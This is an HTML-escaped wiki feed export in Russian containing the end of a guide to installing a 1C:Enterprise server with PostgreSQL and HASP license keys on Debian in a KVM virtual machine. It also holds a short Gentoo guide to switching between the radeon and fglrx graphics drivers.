&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
USBKEY1=`grep -EB 4 '^S:.*HASP 2.17' /proc/bus/usb/devices | awk '$0 ~ /^T:/ { split($2, a, /=/); print a[2] &amp;quot;.&amp;quot; $8 }'`&lt;br /&gt;
USBKEY2=`grep -EB 4 '^S:.*HASP HL 3.21' /proc/bus/usb/devices | awk '$0 ~ /^T:/ { split($2, a, /=/); print a[2] &amp;quot;.&amp;quot; $8 }'`&lt;br /&gt;
PIDFILE=&amp;quot;/var/run/kvm/srv1c.pid&amp;quot;&lt;br /&gt;
&lt;br /&gt;
CMD=&amp;quot;-enable-kvm \&lt;br /&gt;
-cpu host \&lt;br /&gt;
-smp 2 \&lt;br /&gt;
-m 2G \&lt;br /&gt;
-nographic -daemonize \&lt;br /&gt;
-net nic,vlan=0,macaddr=52:54:00:00:00:03,model=virtio -net tap,vlan=0,ifname=tap2,script=no \&lt;br /&gt;
-drive file=acc.img,if=virtio \&lt;br /&gt;
-drive file=acc.db.img,if=virtio \&lt;br /&gt;
-usb \&lt;br /&gt;
-usbdevice host:$USBKEY1 -usbdevice host:$USBKEY2 \&lt;br /&gt;
-vnc 192.168.100.203:2 \&lt;br /&gt;
-monitor unix:acc.mon,server,nowait \&lt;br /&gt;
-serial telnet:127.0.0.2:23,server,nowait \&lt;br /&gt;
-pidfile $PIDFILE&amp;quot;&lt;br /&gt;
&lt;br /&gt;
case &amp;quot;$1&amp;quot; in&lt;br /&gt;
        start)&lt;br /&gt;
                kvm $CMD&lt;br /&gt;
                ip link set dev tap2 up&lt;br /&gt;
                brctl addif br0 tap2&lt;br /&gt;
                ;;&lt;br /&gt;
        stop)&lt;br /&gt;
                socat - unix-connect:acc.mon &amp;lt;&amp;lt;EOF&lt;br /&gt;
system_powerdown&lt;br /&gt;
EOF&lt;br /&gt;
                brctl delif br0 tap2&lt;br /&gt;
                ;;&lt;br /&gt;
esac&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
После чего можно подключиться по vnc к 192.168.100.203:2.&lt;br /&gt;
Нужное ядро(в данном случае 3.2.30-my) необходимо загрузить с &amp;lt;span style=&amp;quot;font-family: monospace&amp;quot;&amp;gt;init=/bin/bash&amp;lt;/span&amp;gt;.&lt;br /&gt;
Когда загрузка завершилась надо установить пароль для root:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# mount -o remount,rw /&lt;br /&gt;
root@linux# passwd&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
И запустить продолжение установки:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# cd debootstrap; ./debootstrap --second-stage&lt;br /&gt;
root@linux# sync&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Установка прочего ПО==&lt;br /&gt;
&lt;br /&gt;
Для продолжения установки необходимо произвести настройку сети:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# echo &amp;quot;&lt;br /&gt;
auto lo eth0&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.168.100.202&lt;br /&gt;
        netmask 255.255.255.0&lt;br /&gt;
        gateway 192.168.100.201&lt;br /&gt;
&amp;quot; &amp;gt; /etc/network/interfaces&lt;br /&gt;
root@linux# ifup -a&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
И настройку apt:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# echo '&lt;br /&gt;
deb http://ftp.debian.org squeeze main contrib non-free&lt;br /&gt;
deb http://security.debian.org squeeze/updates main contrib non-free&lt;br /&gt;
' &amp;gt; /etc/apt/sources.list&lt;br /&gt;
root@linux# apt-get update&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Далее ставим нужные пакеты:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# apt-get install sudo openssh-server acpid zip unzip bzip2 lsb-release openssl ssl-cert openssl-blacklist \&lt;br /&gt;
less libicu44 libossp-uuid16 libldap-2.4-2 libxml2 locales libxslt1.1 \&lt;br /&gt;
imagemagick msttcorefonts libgsf-1-114&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
После этого надо настроить локали. Для этого надо раскоментировать ru_RU.utf-8 и en_US.utf-8 локали в &amp;lt;span style=&amp;quot;font-family: monospace&amp;quot;&amp;gt;/etc/locale.gen&amp;lt;/span&amp;gt; и создать вручную локаль en_US.utf-8 с помощью localedef:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# locale-gen&lt;br /&gt;
root@linux# echo LANG=ru_RU.utf-8 &amp;gt; /etc/default/locale&lt;br /&gt;
root@linux# localedef -i en_US -f UTF-8 /usr/lib/locale/en_US.UTF-8&lt;br /&gt;
root@linux# cd /usr/lib/locale&lt;br /&gt;
root@linux# ln -s en_US.UTF-8 en_US&lt;br /&gt;
root@linux# ln -s en_US en&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Установка postgresql==&lt;br /&gt;
&lt;br /&gt;
Создаём раздел и файловую систему на диске для БД:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# fdisk /dev/vdb&lt;br /&gt;
root@linux# mkfs.ext3 /dev/vdb1&lt;br /&gt;
root@linux# tune2fs -L dbfs /dev/vdb1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Настраиваем /etc/fstab:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# mkdir /var/lib/postgresql&lt;br /&gt;
root@linux# echo '&lt;br /&gt;
LABEL=rootfs      /      ext3   auto,errors=remount-ro   0 1&lt;br /&gt;
LABEL=dbfs      /var/lib/postgresql      ext3   auto   0 1&lt;br /&gt;
usbfs /proc/bus/usb usbfs auto 0 0&lt;br /&gt;
' &amp;gt; /etc/fstab&lt;br /&gt;
root@linux# mount -a&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Устанавливаем параметры sysctl:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# echo &amp;quot;kernel.shmmax = 67108864&amp;quot; &amp;gt;&amp;gt; /etc/sysctl.conf&lt;br /&gt;
root@linux# sysctl -p&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
После этого можно устанавливать postgresql:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# apt-get install postgresql-common postgresql-client-common&lt;br /&gt;
root@linux# dpkg -i libpq5_8.4.13-0squeeze1_i386.deb&lt;br /&gt;
root@linux# dpkg -i libpgtypes3_8.4.13-0squeeze1_i386.deb&lt;br /&gt;
root@linux# dpkg -i postgresql-client-8.4_8.4.13-0squeeze1_i386.deb&lt;br /&gt;
root@linux# dpkg -i postgresql-8.4_8.4.13-0squeeze1_i386.deb&lt;br /&gt;
root@linux# dpkg -i postgresql-contrib-8.4_8.4.13-0squeeze1_i386.deb&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
И создавать кластер:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# pg_dropcluster --stop 8.4 main&lt;br /&gt;
root@linux# pg_createcluster --locale=ru_RU.utf-8 -e utf-8 --start 8.4 main&lt;br /&gt;
root@linux# sudo -u postgres psql template1&lt;br /&gt;
template1=# create language plpgsql;&lt;br /&gt;
template1=# \i /tmp/mchar.sql&lt;br /&gt;
template1=# \i /tmp/fulleq.sql&lt;br /&gt;
template1=# \i /tmp/fasttrun.sql&lt;br /&gt;
template1=# \i /tmp/plpgsql_call_handler.sql&lt;br /&gt;
template1=# \i /tmp/datediff.sql&lt;br /&gt;
template1=# alter user postgres password 'postgres';&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Где, &amp;lt;span style=&amp;quot;font-family: monospace&amp;quot;&amp;gt;mchar.sql&amp;lt;/span&amp;gt;,&lt;br /&gt;
&amp;lt;span style=&amp;quot;font-family: monospace&amp;quot;&amp;gt;fulleq.sql&amp;lt;/span&amp;gt; и&lt;br /&gt;
&amp;lt;span style=&amp;quot;font-family: monospace&amp;quot;&amp;gt;fasttrun.sql&amp;lt;/span&amp;gt; надо взять из директории с исходниками postgresql из&lt;br /&gt;
директорий &amp;lt;span style=&amp;quot;font-family: monospace&amp;quot;&amp;gt;contrib/mchar&amp;lt;/span&amp;gt;,&lt;br /&gt;
&amp;lt;span style=&amp;quot;font-family: monospace&amp;quot;&amp;gt;contrib/fulleq&amp;lt;/span&amp;gt; и&lt;br /&gt;
&amp;lt;span style=&amp;quot;font-family: monospace&amp;quot;&amp;gt;contrib/fasttrun&amp;lt;/span&amp;gt; соответственно.&lt;br /&gt;
&amp;lt;span style=&amp;quot;color: red&amp;quot;&amp;gt;Добавить ссылки на plpgsql_call_handler.sql и datediff.sql&amp;lt;/span&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
После этого надо настроить доступ к postgresql через tcp/ip, раскомментировав строку:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
host    all         all         127.0.0.1/32          md5&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
в файле &amp;lt;span style=&amp;quot;font-family: monospace&amp;quot;&amp;gt;/etc/postgresql/8.4/main/pg_hba.conf&amp;lt;/span&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
==Настройка postgresql==&lt;br /&gt;
&lt;br /&gt;
При использовании штатного файла конфигурации производительность оставляет желать лучшего. Далее пример конфигурации для сервера с 4G оперативной памяти:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
shared_buffers = 256MB&lt;br /&gt;
temp_buffers = 32MB&lt;br /&gt;
work_mem = 20MB&lt;br /&gt;
maintenance_work_mem = 60MB&lt;br /&gt;
max_fsm_pages = 1024000&lt;br /&gt;
max_fsm_relations = 5000&lt;br /&gt;
#---&lt;br /&gt;
fsync = on				&lt;br /&gt;
synchronous_commit = off		&lt;br /&gt;
full_page_writes = off			&lt;br /&gt;
wal_buffers = 512kB			&lt;br /&gt;
checkpoint_segments = 12		&lt;br /&gt;
checkpoint_timeout = 15min		&lt;br /&gt;
random_page_cost = 1.5&lt;br /&gt;
effective_cache_size = 256MB&lt;br /&gt;
#---&lt;br /&gt;
escape_string_warning = off&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Подробнее про влияние параметров конфигурации на сайте [http://www.gilev.ru/1c/81/postgresql/index.htm| Вячеслава Гилёва].&lt;br /&gt;
==Установка ПО usb-ключей==&lt;br /&gt;
&lt;br /&gt;
Для установки ПО usb-ключей необходимо скачать архив с сайта производителя - [ftp://ftp.aladdin.com/pub/hasp/hl/linux/HASP_HL_Linux.tar.gz aladdin.com].&lt;br /&gt;
Проверены на совместную работу hasplm 8.30 и aksusbd 1.8.1.&lt;br /&gt;
После того, как данный архив распакован, можно приступать к установке aksusbd и hasplm.&lt;br /&gt;
&lt;br /&gt;
===Установка aksusbd===&lt;br /&gt;
&lt;br /&gt;
Для установки драйвера usb-ключа надо разместить необходимые файлы в системе:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# cp Redistribute/Runtime/script/aksusbd /usr/sbin/&lt;br /&gt;
root@linux# cp Redistribute/Runtime/script/aksusbd.debian /etc/init.d/aksusbd&lt;br /&gt;
root@linux# chmod u+rx /etc/init.d/aksusbd&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Добавим LSB-заголовки в &amp;lt;span style=&amp;quot;font-family: monospace&amp;quot;&amp;gt;/etc/init.d/aksusbd&amp;lt;/span&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
### BEGIN INIT INFO&lt;br /&gt;
# Provides:          aksusbd&lt;br /&gt;
# Required-Start:    $local_fs &lt;br /&gt;
# Required-Stop:&lt;br /&gt;
# X-Start-Before     hasplm srv1cv82&lt;br /&gt;
# X-Stop-After:      hasplm srv1cv82&lt;br /&gt;
# Default-Start:     2 3 4 5&lt;br /&gt;
# Default-Stop:      0 1 6&lt;br /&gt;
### END INIT INFO&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
И запустим insserv:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# insserv aksusbd&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Установка hasplm===&lt;br /&gt;
&lt;br /&gt;
Для установки управляющего лицензиями также надо разместить необходимые файлы в системе:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# cp Redistribute/LM/script/hasplm /usr/sbin/&lt;br /&gt;
root@linux# cp Redistribute/LM/script/hasplm.debian /etc/init.d/hasplm&lt;br /&gt;
root@linux# chmod u+rx /etc/init.d/hasplm&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Добавим LSB-заголовок в &amp;lt;span style=&amp;quot;font-family: monospace&amp;quot;&amp;gt;/etc/init.d/hasplm&amp;lt;/span&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
### BEGIN INIT INFO&lt;br /&gt;
# Provides:          hasplm&lt;br /&gt;
# Required-Start:    $local_fs aksusbd&lt;br /&gt;
# Required-Stop:     aksusbd&lt;br /&gt;
# X-Start-Before     srv1cv82&lt;br /&gt;
# X-Stop-After:      srv1cv82 &lt;br /&gt;
# Default-Start:     2 3 4 5&lt;br /&gt;
# Default-Stop:      0 1 6&lt;br /&gt;
### END INIT INFO&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
и запустим insserv:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# insserv hasplm&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
==Установка сервера 1С Предприятие==&lt;br /&gt;
&lt;br /&gt;
Для установки сервера 1С Предприятие необходимо установить нужные deb-пакеты:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# dpkg -i 1c-enterprise82-common_8.2.15-318_i386.deb&lt;br /&gt;
root@linux# dpkg -i 1c-enterprise82-server_8.2.15-318_i386.deb&lt;br /&gt;
root@linux# dpkg -i 1c-enterprise82-ws_8.2.15-318_i386.deb&lt;br /&gt;
root@linux# dpkg -i 1c-enterprise82-crs_8.2.15-318_i386.deb&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Далее запускаем скрипт проверки установки и доустанавливаем требуемые пакеты:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# /opt/1C/v8.2/i386/utils/config_server /usr/share/fonts/truetype&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
В начало файла &amp;lt;span style=&amp;quot;font-family: monospace&amp;quot;&amp;gt;/etc/init.d/srv1cv82&amp;lt;/span&amp;gt; после чего добавляем LSB-заголовок:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
### BEGIN INIT INFO&lt;br /&gt;
# Provides:          srv1cv82&lt;br /&gt;
# Required-Start:    $local_fs $remote_fs aksusbd hasplm postgresql&lt;br /&gt;
# Required-Stop:     aksusbd hasplm postgresql&lt;br /&gt;
# X-Stop-After:      &lt;br /&gt;
# Default-Start:     2 3 4 5&lt;br /&gt;
# Default-Stop:      0 1 6&lt;br /&gt;
### END INIT INFO&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
и запускаем insserv:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# insserv srv1cv82&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Настройка сервера==&lt;br /&gt;
&lt;br /&gt;
После установки необходимо с консоли администрирования 1С создать на сервере кластер, сервер и рабочие процессы.&lt;br /&gt;
&lt;br /&gt;
===Включение Технологического Журнала===&lt;br /&gt;
&lt;br /&gt;
При возникновении проблем (а также для анализа работы системы) может потребоваться [http://v8.1c.ru/overview/Term_000000322.htm| Технологический Журнал] (далее ТЖ). Для включения ТЖ создаём каталоги '''/var/log/1c''' и '''/var/log/1c/dumps''' и файл '''/opt/1C/v8.2/i386/conf/logcfg.xml''':&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;config xmlns=&amp;quot;http://v8.1c.ru/v8/tech-log&amp;quot;&amp;gt;&lt;br /&gt;
        &amp;lt;dump create=&amp;quot;true&amp;quot; location=&amp;quot;/var/log/1c/dumps&amp;quot; prntscrn=&amp;quot;true&amp;quot; type=&amp;quot;2&amp;quot;/&amp;gt;&lt;br /&gt;
        &amp;lt;log history=&amp;quot;72&amp;quot; location=&amp;quot;/var/log/1c&amp;quot;&amp;gt;&lt;br /&gt;
                &amp;lt;event&amp;gt;&lt;br /&gt;
                        &amp;lt;eq property=&amp;quot;name&amp;quot; value=&amp;quot;EXCP&amp;quot;/&amp;gt;&lt;br /&gt;
                &amp;lt;/event&amp;gt;&lt;br /&gt;
                &amp;lt;event&amp;gt;&lt;br /&gt;
                        &amp;lt;eq property=&amp;quot;name&amp;quot; value=&amp;quot;EXCPCNTX&amp;quot;/&amp;gt;&lt;br /&gt;
                &amp;lt;/event&amp;gt;&lt;br /&gt;
                &amp;lt;event&amp;gt;&lt;br /&gt;
                        &amp;lt;eq property=&amp;quot;name&amp;quot; value=&amp;quot;PROC&amp;quot;/&amp;gt;&lt;br /&gt;
                &amp;lt;/event&amp;gt;&lt;br /&gt;
                &amp;lt;event&amp;gt;&lt;br /&gt;
                        &amp;lt;eq property=&amp;quot;name&amp;quot; value=&amp;quot;ADMIN&amp;quot;/&amp;gt;&lt;br /&gt;
                &amp;lt;/event&amp;gt;       &lt;br /&gt;
                &amp;lt;event&amp;gt;&lt;br /&gt;
                        &amp;lt;eq property=&amp;quot;name&amp;quot; value=&amp;quot;MEM&amp;quot;/&amp;gt;&lt;br /&gt;
                &amp;lt;/event&amp;gt;       &lt;br /&gt;
                &amp;lt;event&amp;gt;&lt;br /&gt;
                        &amp;lt;eq property=&amp;quot;name&amp;quot; value=&amp;quot;LEAKS&amp;quot;/&amp;gt;&lt;br /&gt;
                &amp;lt;/event&amp;gt;       &lt;br /&gt;
                &amp;lt;property name=&amp;quot;all&amp;quot;/&amp;gt;&lt;br /&gt;
        &amp;lt;/log&amp;gt;&lt;br /&gt;
&amp;lt;/config&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
После этого перезапускаем службу.&lt;br /&gt;
==Публикация информационных баз==&lt;br /&gt;
&lt;br /&gt;
На примере веб-сервера Apache 2.2. После базовой настройки веб-сервера создаём каталог '''/srv/www/htdocs/unf''' и запускаем встроенную утилиту публикации (unf - имя информационной базы в кластере):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@linux# /opt/1C/v8.2/i386/webinst -apache22 -wsdir unf -dir '/srv/www/htdocs/unf/' &lt;br /&gt;
\-connStr 'Srvr=&amp;quot;hostname&amp;quot;;Ref=&amp;quot;unf&amp;quot;;' -confPath /etc/apache2/conf.d/1cws.conf&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
При этом должен сформироваться файл '''/etc/apache2/conf.d/1cws.conf''' с директивами подключения библиотеки '''wsap22.so''' и алиасом для подключаемого прикладного решения (unf):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
LoadModule _1cws_module &amp;quot;/opt/1C/v8.2/i386/wsap22.so&amp;quot;&lt;br /&gt;
 &lt;br /&gt;
# 1c publication&lt;br /&gt;
Alias &amp;quot;/unf&amp;quot; &amp;quot;/srv/www/htdocs/unf/&amp;quot;&lt;br /&gt;
&amp;lt;Directory &amp;quot;/srv/www/htdocs/unf/&amp;quot;&amp;gt;&lt;br /&gt;
    AllowOverride None&lt;br /&gt;
    Options None&lt;br /&gt;
    Order allow,deny&lt;br /&gt;
    Allow from all&lt;br /&gt;
    SetHandler 1c-application&lt;br /&gt;
    ManagedApplicationDescriptor &amp;quot;/srv/www/htdocs/unf/default.vrd&amp;quot;&lt;br /&gt;
&amp;lt;/Directory&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
VRD-файл должен выглядеть следующим образом: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;UTF-8&amp;quot;?&amp;gt;&lt;br /&gt;
&amp;lt;point xmlns=&amp;quot;http://v8.1c.ru/8.2/virtual-resource-system&amp;quot;&lt;br /&gt;
		xmlns:xs=&amp;quot;http://www.w3.org/2001/XMLSchema&amp;quot;&lt;br /&gt;
		xmlns:xsi=&amp;quot;http://www.w3.org/2001/XMLSchema-instance&amp;quot;&lt;br /&gt;
		base=&amp;quot;/unf&amp;quot;&lt;br /&gt;
		ib=&amp;quot;Srvr=&amp;amp;quot;hostname&amp;amp;quot;;Ref=&amp;amp;quot;unf&amp;amp;quot;;&amp;quot;/&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
После этого перезапускаем веб-сервер.&lt;br /&gt;
==Настройка клиента==&lt;br /&gt;
&lt;br /&gt;
На стороне клиента необходимо настроить файл &amp;lt;span style=&amp;quot;font-family: monospace&amp;quot;&amp;gt;nethasp.ini&amp;lt;/span&amp;gt; (&amp;lt;span style=&amp;quot;color: red&amp;quot;&amp;gt;Добавить путь к файлу&amp;lt;/span&amp;gt;):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[NH_COMMON]&lt;br /&gt;
NH_TCPIP = Enabled&lt;br /&gt;
...&lt;br /&gt;
[NH_TCPIP]&lt;br /&gt;
NH_SERVER_ADDR = 192.168.100.202 //ip-адрес компьютера, где расположен управляющий лицензиями.&lt;br /&gt;
NH_TCPIP_METHOD = UDP&lt;br /&gt;
NH_USE_BROADCAST = Disabled&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
==Исправление неисправностей==&lt;br /&gt;
&lt;br /&gt;
* При создании информационной базы появляется ошибка с сообщением про lc_messages&lt;br /&gt;
*: Необходимо убедиться, что локаль &amp;lt;span style=&amp;quot;font-family: monospace&amp;quot;&amp;gt;/usr/lib/locale/en_US.UTF-8&amp;lt;/span&amp;gt; и символьные ссылки en_US и en на неё существуют ([[#Установка прочего ПО]]);&lt;br /&gt;
&lt;br /&gt;
* При установке конфигурации 1С выдаёт ошибку, что несуществует какой-то sql-функции&lt;br /&gt;
*: Странно, но так бывает, что в какой-то версии конфигурации забывают положить все необходимые функции. Надо выбрать предыдущую версию или более раннюю, где данной ошибки не возникает, и установить её; после чего обновить её до последней.&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
		<id>http://lorwiki.zhbert.ru/index.php?title=%D0%A3%D0%B4%D0%BE%D0%B1%D0%BD%D0%BE%D0%B5_%D0%BF%D0%B5%D1%80%D0%B5%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B5_%D0%BC%D0%B5%D0%B6%D0%B4%D1%83_radeon_%D0%B8_fglrx_%D0%B2_gentoo&amp;diff=379</id>
		<title>Удобное переключение между radeon и fglrx в gentoo</title>
		<link rel="alternate" type="text/html" href="http://lorwiki.zhbert.ru/index.php?title=%D0%A3%D0%B4%D0%BE%D0%B1%D0%BD%D0%BE%D0%B5_%D0%BF%D0%B5%D1%80%D0%B5%D0%BA%D0%BB%D1%8E%D1%87%D0%B5%D0%BD%D0%B8%D0%B5_%D0%BC%D0%B5%D0%B6%D0%B4%D1%83_radeon_%D0%B8_fglrx_%D0%B2_gentoo&amp;diff=379"/>
		<updated>2023-02-27T18:39:19Z</updated>

		<summary type="html">&lt;p&gt;Admin: 1 версия импортирована&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Введение=&lt;br /&gt;
&lt;br /&gt;
Для видеокарт AMD существует два драйвера: открытый [http://en.gentoo-wiki.com/wiki/Radeon radeon] и проприетарный [http://en.gentoo-wiki.com/wiki/Fglrx fglrx]. У каждого из них есть свои плюсы и минусы. Задача использовать эти драйверы параллельно, так, чтобы один не мешал другому, при максимально удобном переключении между ними.&lt;br /&gt;
&lt;br /&gt;
=Входные данные=&lt;br /&gt;
&lt;br /&gt;
Данную задачу будем решать в gentoo linux. Будем считать, что драйвер [http://en.gentoo-wiki.com/wiki/Radeon radeon] уже установлен.&lt;br /&gt;
&lt;br /&gt;
=Реализация=&lt;br /&gt;
&lt;br /&gt;
==Добавим драйвер [http://en.gentoo-wiki.com/wiki/Fglrx fglrx] в ''/etc/make.conf''==&lt;br /&gt;
&amp;lt;pre&amp;gt;# grep VIDEO /etc/make.conf&lt;br /&gt;
VIDEO_CARDS=&amp;quot;radeon fglrx&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Установим необходимые компоненты==&lt;br /&gt;
&amp;lt;pre&amp;gt;root@linux# emerge -uDNv world&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Настроим загрузчик==&lt;br /&gt;
Нужно, чтобы для каждого ядра генерировалось два пункта загрузчика:&lt;br /&gt;
*Для открытого драйвера (с использованием [https://wiki.archlinux.org/index.php/Kernel_Mode_Setting KMS]) в cmdline необходимо добавить&lt;br /&gt;
&amp;lt;pre&amp;gt;radeon.modeset=1 modprobe.blacklist=fglrx&amp;lt;/pre&amp;gt;&lt;br /&gt;
*Для закрытого драйвера нужно добавить&lt;br /&gt;
&amp;lt;pre&amp;gt;modprobe.blacklist=drm,drm_kms_helper,radeon,uvcvideo,ttm,videodev,videobuf2_core,videobuf2_memops,videobuf2_vmalloc&amp;lt;/pre&amp;gt;&lt;br /&gt;
Сгенерируйте файл настроек загрузчика после внесения изменений.-&lt;br /&gt;
==Настроим X11==&lt;br /&gt;
&amp;lt;pre&amp;gt;root@linux# /opt/bin/aticonfig --initial --input=/etc/X11/xorg.conf&amp;lt;/pre&amp;gt;&lt;br /&gt;
Скопируем полученный файл в ''xorg.conf.fglrx-0''&lt;br /&gt;
&amp;lt;pre&amp;gt;root@linux# cp /etc/X11/xorg.conf /etc/X11/xorg.conf.fglrx-0&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Обеспечим автоматическое переключение между драйверами, в зависимости от загруженных модулей ядра==&lt;br /&gt;
Создадим файл ''/etc/local.d/radeon.start''&lt;br /&gt;
&amp;lt;pre&amp;gt;root@linux# cat /etc/local.d/radeon.start  &lt;br /&gt;
#!/bin/sh&lt;br /&gt;
if ((`lsmod | grep fglrx | wc -l` &amp;gt; 0))&lt;br /&gt;
        then if ((`eselect opengl list | grep ati | grep \* | wc -l` == 0))&lt;br /&gt;
                then eselect opengl set ati&lt;br /&gt;
                cp -f /etc/X11/xorg.conf.fglrx-0 /etc/X11/xorg.conf&lt;br /&gt;
        fi&lt;br /&gt;
else &lt;br /&gt;
        if ((`eselect opengl list | grep xorg-x11 | grep \* | wc -l` == 0))&lt;br /&gt;
                then eselect opengl set xorg-x11&lt;br /&gt;
        fi&lt;br /&gt;
        rm /etc/X11/xorg.conf&lt;br /&gt;
        #следующая строка необязательна - она меняет профиль на low&lt;br /&gt;
        echo low &amp;gt; /sys/class/drm/card0/device/power_profile&lt;br /&gt;
fi &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
и сделаем его исполняемым&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;chmod +x /etc/local.d/radeon.start&amp;lt;/pre&amp;gt;&lt;br /&gt;
Разумеется, сервис local должен быть добавлен в уровень исполнения default&lt;br /&gt;
&amp;lt;pre&amp;gt;root@linux# rc-update add local default &amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Теперь после перезагрузки вы можете выбрать в меню вашего любимого загрузчика, какой драйвер запускать. Для удобства также можно установить из оверлея stuff (спасибо megabaks'у) dkms-gentoo.&lt;/div&gt;</summary>
		<author><name>Admin</name></author>
	</entry>
	<entry>
